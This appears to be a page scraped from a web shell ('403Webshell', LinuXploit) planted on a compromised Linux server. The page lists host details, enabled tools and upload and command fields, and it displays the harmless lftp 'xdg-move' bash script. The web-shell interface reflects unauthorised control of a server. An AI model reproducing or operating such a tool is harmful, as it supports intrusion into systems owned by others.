403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/lftp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/lftp/xdg-move
#!/bin/bash
#
# This script moves ~/.lftp (or $LFTP_HOME) files to XDG directories.
# ~/.lftp should be removed after execution of this script.
#

src=${LFTP_HOME:-$HOME/.lftp}
if ! [ -d "$src" ]; then
   echo "Nothing to move (no $src directory found)." >&2
   exit 0
fi

function move() {
   test -a "$src/$1" || return
   test -d "$2" || mkdir -p "$2" || exit 1
   mv "$src/$1" "$2/"
}

function move_data() {
   move "$1" "${XDG_DATA_HOME:-$HOME/.local/share}/lftp"
}
function move_config() {
   move "$1" "${XDG_CONFIG_HOME:-$HOME/.config}/lftp"
}
function move_cache() {
   move "$1" "${XDG_CACHE_HOME:-$HOME/.cache}/lftp"
}

move_data bg
move_data bookmarks
move_data cwd_history
move_cache DHT
move_data log
move_config rc
move_data rl_history
move_data transfer_log

rmdir "$src"

Youez - 2016 - github.com/yon3zu
LinuXploit